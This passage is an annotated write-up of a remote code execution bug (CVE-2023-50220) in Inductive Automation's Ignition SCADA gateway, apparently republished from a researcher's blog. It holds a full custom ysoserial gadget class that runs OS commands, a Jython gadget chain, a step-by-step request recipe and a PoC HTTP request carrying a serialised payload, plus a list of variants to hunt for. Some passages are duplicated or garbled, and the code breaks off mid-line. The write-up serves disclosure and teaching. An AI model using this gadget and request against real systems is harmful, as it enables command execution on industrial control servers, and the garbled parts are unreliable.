  routes.newRoute("/store_forward_import/:storeName")
     .method(HttpMethod.POST)
     .handler((req, res) -> this.importData(req, res, req.getParameter("storeName")))
     .restrict(
        RouteAccessControl.requireAll(
           new RouteAccessControl[]{WicketAccessControl.STATUS_SECTION, WicketAccessControl.CONFIG_SECTION, EdgeAccessControl.NOT_EDGE}
        )
     )
     .mount();
}

Line by line:

  • The first routes.newRoute("/store_forward")... registers a different route that returns JSON, a common text format for data. It is shown for context.
  • routes.newRoute("/store_forward_import/:storeName") registers the interesting route. The :storeName part is a placeholder: whatever appears in that position in the URL is captured as a value named storeName.
  • .method(HttpMethod.POST) says only POST requests are accepted.
  • .handler((req, res) -> this.importData(req, res, req.getParameter("storeName"))) says that when a request arrives, importData is called with the request, the response, and the captured store name.
  • .restrict(RouteAccessControl.requireAll(...)) applies access checks. requireAll means every check in the list must pass. WicketAccessControl.STATUS_SECTION and WicketAccessControl.CONFIG_SECTION require the logged-in user to have the status and configuration permissions. EdgeAccessControl.NOT_EDGE means the route is not available on Edge, a smaller edition of the product.
  • .mount(); finalises the registration.

So the route requires the status section and configuration section permissions and is not available on Edge. Searching all files for /store_forward_import/ turned up a JavaScript file containing the string /data/status/store_forward_import/, which suggests the root path of the API is /data/status. JavaScript is the language web pages run in the browser, and finding a URL fragment in the front-end code is a common way to discover the full address of a back-end API.

From the original on petrusviet.medium.com

A test request confirmed the code path was reached.

From the original on petrusviet.medium.com

Exploitation

Step 1: satisfy the multipart input

StoreAndForwardRoutes.importData() reads the input with Part part = r.getPart("file");, so the request must be multipart and the XML must be in a file part named file. Multipart is the format browsers use when a form includes a file upload: the body is split into several parts, each with its own name and headers, separated by a boundary string.

From the original on petrusviet.medium.com

Step 2: pick a valid store name

In HistoryManagerImpl.importQuarantinedFromXML(), the code calls this.getStore("test") and gets null, producing a store not found error. A data store is the destination where historical data is kept.

From the original on petrusviet.medium.com

getStore looks up a DataSink in the dataStoreEngines variable, which at that point holds a single value keyed sample_sqlite_database. A DataSink is the object that writes data to a particular store; SQLite is a small file-based database.

From the original on petrusviet.medium.com

Sending the request with store name sample_sqlite_database lets execution continue into QuarantinedXmlImporter.doImport().

Step 3: reach the flavour lookup

Back in QuarantinedXmlImporter.startElement(), calling f.getXmlImportHandler() requires an element named data with two attributes, flavor and subtype. An attribute is a name-value pair inside a tag, like flavor="...".

From the original on petrusviet.medium.com

A first test input:

XML
<?xml version="1.0"?><data flavor="flavor" subtype="subtype"></data>

Line by line:

  • <?xml version="1.0"?> is the XML declaration, saying this is XML version 1.0.
  • <data flavor="flavor" subtype="subtype"> opens an element named data with two attributes, both set to placeholder text.
  • </data> closes it.

The code then calls this.mgr.lookupFlavor(flavor, subType) to obtain f, which must be a HistoryFlavor object. A registry is a lookup table the program keeps in memory, mapping names to objects.

From the original on petrusviet.medium.com

Looking up the flavorRegistry variable shows an existing value of type HistoryFlavor keyed datasourcedata/.

From the original on petrusviet.medium.com

The flavorKey method builds the key from user input by joining type (the flavour) and subtype:

Text
private String flavorKey(String type, String subtype) {
  return String.format("%s/%s", type, StringUtils.defaultString(subtype).toLowerCase());
}

Line by line:

  • private String flavorKey(String type, String subtype) { declares a method that takes the two values and returns a string.
  • String.format("%s/%s", type, ...) builds a string by putting the type, a slash, and the subtype together. %s is a placeholder for a string.
  • StringUtils.defaultString(subtype).toLowerCase() replaces a missing subtype with an empty string and lowercases it.

To get the key __datasourcedata__/, the input must be flavour __datasourcedata__ with an empty subtype:

XML
<?xml version="1.0"?><data flavor="__datasourcedata__" subtype=""></data>

Line by line:

  • The declaration is unchanged.
  • <data flavor="__datasourcedata__" subtype=""> sets the flavour to the registry key and the subtype to an empty string, so the joined key becomes __datasourcedata__/.
  • </data> closes the element.

Step 4: supply the serialised object

In HistoryFlavor.writeToXml, an object is converted to XML by serializing it, encoding the result as base64, and placing it in a base64 element:

Text
public void writeToXml(SimpleXMLWriter writer, HistoricalData data) throws Exception {
  writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2));
}

Line by line:

  • public void writeToXml(SimpleXMLWriter writer, HistoricalData data) declares a method that writes a data object out as XML.
  • writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2)); writes an element named base64 with no attributes and, as its content, the serialised object encoded in base64. The 2 selects a gzip-compressed variant of the encoding.

So the payload document needs a base64 element inside data:

XML
<?xml version="1.0"?><data flavor="__datasourcedata__" subtype="">
  <base64>base64_string</base64>
</data>

Line by line:

  • The declaration is unchanged.
  • <data flavor="__datasourcedata__" subtype=""> opens the data element with the flavour that resolves to the built-in HistoryFlavor.
  • <base64>base64_string</base64> is where the serialised bytes go, written as base64 text. base64_string is a placeholder for the real payload.
  • </data> closes the element.

With that, the input reaches the deserialisation sink.

From the original on petrusviet.medium.com

Step 5: gadget chain, first attempt

A URLDNS gadget worked, confirming the sink. URLDNS is the simplest gadget in ysoserial: when unpacked, it makes the server perform a DNS lookup, a request to translate a hostname into an IP address. It does not run commands, but if you control the DNS server you can see the lookup arrive, which proves the deserialisation happened.

From the original on petrusviet.medium.com

None of the other ysoserial gadgets worked out of the box. The researcher found Ignition\lib\core\designer\rhino-1.7.6.jar, and ysoserial has a MozillaRhino2 gadget requiring rhino:js:1.7R2, so the plan was to adapt it. Rhino is a JavaScript engine for Java. MozillaRhino2 failed because org.apache.xalan.xsltc.trax.TemplatesImpl was not found, so the researcher rewrote it around org.mozilla.javascript.NativeScript:

Text
package ysoserial.payloads;

import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;

@Dependencies({"rhino:js:1.7R2"}) // tested rhino-1.7.6.jar
@Authors({ Authors.TINT0 }) // customs from MozillaRhino2 by PetrusViet
public class MozillaRhino3 implements ObjectPayload<Object> {

    public Object getObject( String command) throws Exception {
        //command = "var rt= new java.lang.ProcessBuilder(); rt.command('"+command+"');rt.start();";
        command = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" +
            "var cmd = new java.lang.String(\""+command+"\");\n" +
            "var p = new java.lang.ProcessBuilder();\n" +
            "if(isWin){p.command(\"cmd.exe\",\"/c\",cmd);} else{p.command(\"bash\",\"-c\",cmd);}\n" +
            "p.redirectErrorStream(true);\n" +
            "p.start();";

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        Reflections.setAccessible(nativeErrorConstructor);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        ScriptableObject dummyScope = new Environment();
        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);

        Context context = Context.enter();

        Object initContextMemberBox = Reflections.createWithConstructor(
            Class.forName("org.mozilla.javascript.MemberBox"),
            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
            new Class[] {Method.class},
            new Object[] {Context.class.getMethod("enter")});

        ScriptableObject scriptableObject = new Environment();
        (new ClassCache()).associate(scriptableObject);

        try {
            Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[1];
            ctor1.setAccessible(true);
            ctor1.newInstance(scriptableObject, "java",
                "org.mozilla.javascript.NativeJavaTopPackage", false, true);
        }catch(ArrayIndexOutOfBoundsException e){
            Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[0];
            ctor1.setAccessible(true);
            ctor1.newInstance(scriptableObject, "java",
                "org.mozilla.javascript.NativeJavaTopPackage", false);
        }

        Interpreter interpreter = new Interpreter();
        Method mt = Context.class.getDeclaredMethod("compileString", String.class, Evaluator.class, ErrorReporter.class, String.class, int.class, Object.class);
        mt.setAccessible(true);
        Script script = (Script) mt.invoke(context, new Object[]{ command,interpreter, null,"test", 0, null});

        Constructor<?> ctor = Class.forName("org.mozilla.javascript.NativeScript").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        Object nativeScript = ctor.newInstance(script);

        Method setParent = ScriptableObject.class.getDeclaredMethod("setParentScope", Scriptable.class);
        setParent.invoke(nativeScript, scriptableObject);

        try {
            //1.7.13
            Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"));
            Object getterEnum = Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess").getEnumConstants()[3];
            Reflections.setAccessible(makeSlot);
            Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, getterEnum);
            Reflections.setFieldValue(slot, "getter", initContextMemberBox);
        }catch(ClassNotFoundException e){
            try {
                //1.7R2
                Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, int.class);
                Reflections.setAccessible(makeSlot);
                Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
                Reflections.setFieldValue(slot, "getter", initContextMemberBox);
            }catch(NoSuchMethodException ee) {
                //[redacted]
                Method makeSlot = ScriptableObject.class.getDeclaredMethod("createSlot", Object.class, int.class, int.class);
                Reflections.setAccessible(makeSlot);
                Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
                Reflections.setFieldValue(slot, "getter", initContextMemberBox);
            }
        }

        idScriptableObject.setGetterOrSetter("directory", 0, (Callable) nativeScript, false);

        NativeJavaObject nativeJavaObject = new NativeJavaObject();
        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
        Reflections.setFieldValue(nativeJavaObject, "javaObject", idScriptableObject);

        return nativeJavaObject;
    }

    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
        out.writeObject("java.lang.Object");
        out.writeObject(new String[0]);
        out.writeObjec

In plain terms, this class builds an object that, when deserialised, runs a command. Line by line, at a high level:

  • The import lines bring in the Rhino classes and ysoserial helpers.
  • @Dependencies({"rhino:js:1.7R2"}) records which library the gadget needs, and the comment notes it was tested against rhino-1.7.6.jar.
  • @Authors({ Authors.TINT0 }) credits the original author, with a comment saying it is customised from MozillaRhino2.
  • public class MozillaRhino3 implements ObjectPayload<Object> declares a new ysoserial payload class.
  • getObject(String command) is the method ysoserial calls to build the payload. It first rewrites the command into a small JavaScript snippet that detects Windows or Linux and starts a process with ProcessBuilder, a Java class for launching programs.
  • The Class.forName(...) and Reflections... lines create Rhino objects and set private fields on them. Reflection is a Java feature that lets code inspect and modify classes and fields at runtime, including private ones, which is what makes gadget construction possible.
  • Context.enter() enters a Rhino execution context.
  • The try/catch block around LazilyLoadedCtor handles differences between Rhino versions, trying one constructor and falling back to another.
  • Context.class.getDeclaredMethod("compileString", ...) compiles the JavaScript snippet into a Script object.
  • NativeScript wraps that script, and setParentScope gives it a scope to run in.
  • The nested try/catch blocks handle three Rhino versions (1.7.13, 1.7R2, [redacted]) by finding the right internal method to create a slot and planting the compiled script as a getter, a function that runs when a property is read.
  • setGetterOrSetter("directory", ...) attaches the script to the directory property.
  • Finally a NativeJavaObject is built and returned, with fields set so that serializing it produces the right structure. customWriteAdapterObject is the custom serialisation routine that writes the object out.
  • main is a small entry point so the payload can be run from the command line.

The chain ran correctly in local tests, but during the actual exploit the program could not find rhino even though the library was on the classpath. The classpath is the list of places Java looks for classes. Checking again showed that libraries under \lib\core\designer are not loaded by default, so the custom chain was wasted effort.

From the original on petrusviet.medium.com

Step 6: gadget chain, second attempt

A deeper search found Ignition\lib\core\common\jython-ia-2.7.2.1.jar, and this time the \lib\core directory is loaded by default. Jython is an implementation of the Python programming language that runs on Java. ysoserial has a Jython1 gadget requiring org.python:jython-standalone:2.5.2, so the researcher debugged it to see what needed fixing.

The problem is the Jython version. In the version Ignition ships, the PyFunction class has a readResolve() that always throws:

Text
private Object readResolve() {
  throw new UnsupportedOperationException();
}

Line by line:

  • private Object readResolve() { declares a special method Java calls automatically after an object has been deserialised, to let the object clean itself up or return a replacement.
  • throw new UnsupportedOperationException(); immediately raises an error, so any attempt to deserialise this class fails.

That makes PyFunction impossible to deserialise. When readObject() runs, execution passes through several methods and reaches ObjectInputStream.readOrdinaryObject(), which checks whether the target object has a readResolve() method and calls it if so:

From the original on petrusviet.medium.com

So PyFunction.readResolve() is invoked and throws UnsupportedOperationException.

From the original on petrusviet.medium.com

In the Jython1 gadget, PyFunction is the class that receives the compare(x,y) function call from the proxy class:

From the original on petrusviet.medium.com

A proxy is an object that stands in for another and forwards method calls to a handler. The handler is a class implementing InvocationHandler, whose single method receives every call made on the proxy. The researcher asked whether another class could replace PyFunction. To receive a call from a proxy class it must implement InvocationHandler, so the search was for such classes inside Jython. PyMethod implements InvocationHandler and can still be deserialised. Debugging and payload work confirmed it is a good replacement, but using PyMethod differs from PyFunction in several ways, and at that point the researcher looked for an existing Jython2 chain instead. One was found, and because the exact payload could no longer be located on GitHub when the blog was written, it is reproduced here without a reference:

Text
 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
       Map.entrySet() //[Implemented as a proxy class with PyMethod InvocationHandler]
           PyMethod.__call__()
               PyMethod.__call__(state)
                   PyMethod.__call__(state, arg0)
                       BuiltinFunctions.__call__(state, arg0, arg1)
                           __builtin__.eval(arg1, arg2, arg3)
                               Py.runCode(code, locals, globals);

Read from the top down, this is the sequence of calls that happens during unpacking:

  • ObjectInputStream.readObject() starts deserializing.
  • AnnotationInvocationHandler.readObject() is the first object's own deserialisation method, which runs automatically.
  • Map.entrySet() is a method call made on a map-like object. That object is actually a proxy, so the call is forwarded to its handler, PyMethod.
  • PyMethod.__call__() and its overloads are the handler receiving the call and passing it along.
  • BuiltinFunctions.__call__() reaches a built-in Python function.
  • __builtin__.eval(...) evaluates Python code.
  • Py.runCode(code, locals, globals); finally executes it. locals and globals are the variable scopes Python code runs with.

In AnnotationInvocationHandler.readObject() the code calls streamVals.entrySet():

From the original on petrusviet.medium.com

streamVals is the proxy object, so the entrySet call is dispatched to the handler class, PyMethod:

From the original on petrusviet.medium.com

After the PyMethod.__call__() chain, execution reaches __builtin__.eval():

From the original on petrusviet.medium.com

and finally runs Python code with Py.runCode(code, locals, globals);:

From the original on petrusviet.medium.com

Step 7: the PoC request

A PoC, short for proof of concept, is a minimal demonstration that the bug is real. The following request creates the file C:\petrusviet.txt:

HTTP
POST /data/status/store_forward_import/test HTTP/1.1
Host: localhost:8088
Content-Length: 6258
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----[redacted]
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=$COOKIE$
Connection: close

------[redacted]
Content-Disposition: form-data; name="file"; filename="ahihi"
Content-Type: text/xml

<?xml version="1.0"?><cachedata><data flavor="__datasourcedata__" subtype=""><base64>[redacted]+[redacted]+[redacted]+[redacted]+AApwc3EAfgAOcQB+[redacted]+[redacted]+[redacted]+AA94cQB+AApwc3EAfgAOcQB+[redacted]+[redacted]+[redacted]+[redacted]+cQB+ADV0AAxDT19PUFRJTUlaRUR+cQB+ADV0AAxDT19ORVdMT0NBTFN+cQB+ADV0AAlDT19ORVNURUR+cQB+[redacted]+ACFxAH4AIQAAAAIAAAAA/////3VyAAJbQqzzF/[redacted]/[redacted]/[redacted]+[redacted]+I2LzgIAAlsABWFycmF5cQB+[redacted]+[redacted]+[redacted]+[redacted]+[redacted]+AGNwdAAHUnVudGltZXBzcQB+AGBwcQB+AGRzcQB+[redacted]+PiBDOlxccGV0cnVzdmlldC50eHR1cQB+[redacted]+[redacted]/[redacted]

Line by line:

  • POST /data/status/store_forward_import/test HTTP/1.1 is the request line: the method is POST, the address is the import route with store name test, and the protocol is HTTP version 1.1.
  • Host: localhost:8088 names the server and port.
  • Content-Length: 6258 states the body size in bytes.
  • User-Agent: ... identifies the client software. It is copied from a browser and is not essential to the attack.
  • Content-Type: multipart/form-data; boundary=----[redacted] says the body is multipart and gives the boundary string that separates the parts.
  • Accept, Accept-Encoding, Accept-Language are standard browser headers describing what the client accepts.
  • Cookie: JSESSIONID=$COOKIE$ carries the session. JSESSIONID is the standard name Java web applications give their session cookie; $COOKIE$ is a placeholder for a real value.
  • Connection: close asks the server to close the connection after the response.
  • The blank line ends the headers and starts the body.
  • ------[redacted] opens the first part.
  • Content-Disposition: form-data; name="file"; filename="ahihi" names the part file and gives it a filename, which is what the code's getPart("file") looks for.
  • Content-Type: text/xml says the part contains XML.
  • The XML document follows: a cachedata root wrapping the data element with flavour __datasourcedata__ and empty subtype, and a base64 element holding the serialised Jython gadget.
  • ------[redacted]-- closes the multipart body; the trailing -- marks the end.

The request targets /data/status/store_forward_import/test with a multipart body whose file part carries the XML. The XML wraps the data element (flavour __datasourcedata__, empty subtype) inside a cachedata root, and the base64 element holds the serialised Jython gadget. The decoded command inside the payload is cmd /c type NUL > C:\petrusviet.txt & echo HACKED >> C:\petrusviet.txt, which creates the file and appends a marker to it. cmd /c runs a Windows command and exits; type NUL > file creates an empty file; echo HACKED >> file appends text to it. The Cookie header carries the session; the report shows it as a placeholder.

Root cause

The chain of trust is broken at several points. The /store_forward_import/:storeName route accepts an uploaded XML document and hands it to QuarantinedXmlImporter.doImport(), which parses it with itself as the SAX handler. startElement() then uses the attacker-controlled flavor and subtype attributes to look up a HistoryFlavor in the registry, and the base64 element is passed to HistoryFlavor.Base64XmlReader.getValue(), which base64-decodes and gunzips the data and calls ClusterUtil.deserializeObject(). That method wraps the stream in ModuleObjectInputStream and calls readObject() on attacker-supplied bytes. The stream is wrapped in ModuleObjectInputStream and readObject() is called on attacker-supplied bytes. An allow-list is a list of permitted items; here it would mean only the historical data classes the importer expects could be rebuilt. The XML parser disables external general entities before parsing.

The route is protected by WicketAccessControl.STATUS_SECTION, WicketAccessControl.CONFIG_SECTION and EdgeAccessControl.NOT_EDGE, so the attacker needs a session that satisfies those checks. The report does not describe how such a session is obtained; the earlier ProjectDownload.getDiffs issue it references is a separate unauthenticated access bug, and the report does not claim it was chained here.

Impact

The result is remote code execution in the gateway process, demonstrated by creating C:\petrusviet.txt on the host. The PoC creates C:\petrusviet.txt on the host, showing code execution in the gateway process. The report describes the impact as lower than the other Ignition bugs it references. CVSS is a standard scoring system for the severity of a vulnerability.

Fix

The timeline records the case being opened on 2023-07-19, vendor disclosure as ZDI-CAN-21801 on 2023-08-09, and public disclosure as ZDI-24-015, CVE-2023-50220, on 2024-01-05. ZDI is the Zero Day Initiative, a programme that coordinates vulnerability reports between researchers and vendors; CVE is a public identifier assigned to a specific vulnerability.

Variants to test

  1. Other ContentHandler implementations. The researcher's starting point was that setContentHandler accepts any ContentHandler, and Base64XmlReader was only the first one inspected. Enumerate every class implementing ContentHandler in the product and check whether its callbacks reach a deserialisation or expression evaluation sink. A positive result is a request that reaches readObject() or similar with attacker-controlled bytes.
  2. Other routes that call QuarantinedXmlImporter or HistoryManagerImpl.importQuarantinedFromXML(). The stack trace shows one route; search the code for other callers. A positive result is a second endpoint that accepts an XML upload and reaches the same importer.
  3. Other flavours in flavorRegistry. The researcher used the existing __datasourcedata__ entry. Check whether other registered flavours have writeToXml or reader implementations that deserialise differently, and whether their keys can be reached through flavorKey. A positive result is a flavour whose import path calls a deserialisation method without filtering.
  4. Other libraries under \lib\core. The Rhino attempt failed because \lib\core\designer is not loaded by default, while Jython under \lib\core\common is. List the jars that are actually loaded and match them against ysoserial dependencies. A positive result is a gadget whose required classes resolve at runtime.
  5. Classes implementing InvocationHandler that are serializable. PyMethod replaced PyFunction because it implements InvocationHandler and can still be deserialised. Look for similar classes in other bundled libraries. A positive result is a proxy whose handler dispatches to a dangerous method such as eval or exec.
  6. readResolve() guards. When a gadget class blocks deserialisation with a throwing readResolve(), look for an alternative class with the same role. A positive result is a substitute that survives ObjectInputStream.readOrdinaryObject() and still reaches the sink.

Glossary

  • API: an address on a server that programs talk to, usually a URL path plus a method such as GET or POST.
  • Attribute: a name-value pair inside an XML tag, such as flavor="...".
  • Base64: a way of writing binary data using only ordinary letters and digits so it can travel inside text formats such as XML.
  • Boundary: the separator string that divides the parts of a multipart request body.
  • Class: a blueprint in object-oriented programming that defines what an object holds and what it can do.
  • Classpath: the list of places the Java runtime searches for classes and libraries.
  • ContentHandler: a Java interface whose implementations receive events from a SAX XML parser.
  • Cookie: a small piece of data a server gives a browser, sent back on every request so the server recognises the session.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • CVE: a public identifier assigned to a specific vulnerability.
  • Data store: the destination where historical data is kept, usually a database.
  • DataSink: the object that writes data to a particular store.
  • Debugger: a tool that lets you pause a running program, inspect its state, and step through it line by line.
  • Dependency: another piece of software a program needs in order to work.
  • Deserialisation: turning a stream of bytes back into a live object in memory.
  • Edge: a smaller edition of Ignition, on which the vulnerable route is not available.
  • Entity (XML): a named placeholder inside XML that gets replaced by other content; an external entity pulls that content from a file or URL.
  • Flavour (flavor): Ignition's name for a kind of historical data, each with its own XML reader and writer.
  • Gadget chain: a set of objects arranged so that deserializing one triggers the next until something dangerous runs.
  • Gateway: the central Ignition service that operators connect to through a browser.
  • Gzip: a compression format that shrinks data.
  • Handler: the piece of code that runs when a request arrives at an address, or the object that receives parser events.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Interface: a contract in object-oriented programming that says what methods a class must have, without saying how they work.
  • InvocationHandler: a Java interface whose single method receives every call made on a proxy object.
  • Jython: an implementation of the Python programming language that runs on Java.
  • Multipart: a request body format split into several named parts, used for file uploads.
  • ObjectInputFilter: a Java mechanism for restricting which classes may be deserialised.
  • Parser: a program that reads text and works out its structure.
  • PoC (proof of concept): a minimal demonstration that a bug is real.
  • Port: a numbered door on a computer that a program listens at.
  • POST: the HTTP method a browser uses when submitting a form or uploading a file.
  • Proxy: an intermediary that traffic passes through, or an object that stands in for another and forwards method calls to a handler.
  • readObject: the Java method that performs deserialisation.
  • readResolve: a Java method called automatically after an object is deserialised, which can return a replacement or throw to block deserialisation.
  • Reflection: a Java feature that lets code inspect and modify classes and fields at runtime, including private ones.
  • Registry: a lookup table the program keeps in memory, mapping names to objects.
  • Remote code execution (RCE): a flaw that lets an attacker make a machine run commands of their choosing.
  • Rhino: a JavaScript engine for Java.
  • Route: a rule that says which address leads to which code.
  • SAX: a style of XML parsing where the parser walks through the document and calls your code at each event, such as a tag starting or ending.
  • SCADA: supervisory control and data acquisition, software used to monitor and control physical equipment.
  • Serialisation: turning a live object in memory into a stream of bytes that can be stored or sent.
  • Session: the state of being logged in, usually tracked by a cookie.
  • Sink: the place in code where dangerous work happens, such as deserialisation.
  • Source: the place in code where attacker-controlled input enters.
  • SQLite: a small file-based database.
  • Store-and-forward: an Ignition feature that holds data back when a store is unreachable and forwards it later.
  • URLDNS: the simplest ysoserial gadget, which makes the server perform a DNS lookup when deserialised.
  • UTF-8: a standard character encoding for text.
  • XML: a text format for structured data using tags in angle brackets.
  • XXE (XML External Entity): an attack that tricks an XML parser into reading local files or making network requests through external entities.
  • ysoserial: a well-known collection of ready-made Java gadget chains.
  • ZDI: the Zero Day Initiative, a programme that coordinates vulnerability reports between researchers and vendors.

More by Petrus Viet

View all

3 more disclosed reports, best first.

More from Inductive Automation Ignition

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.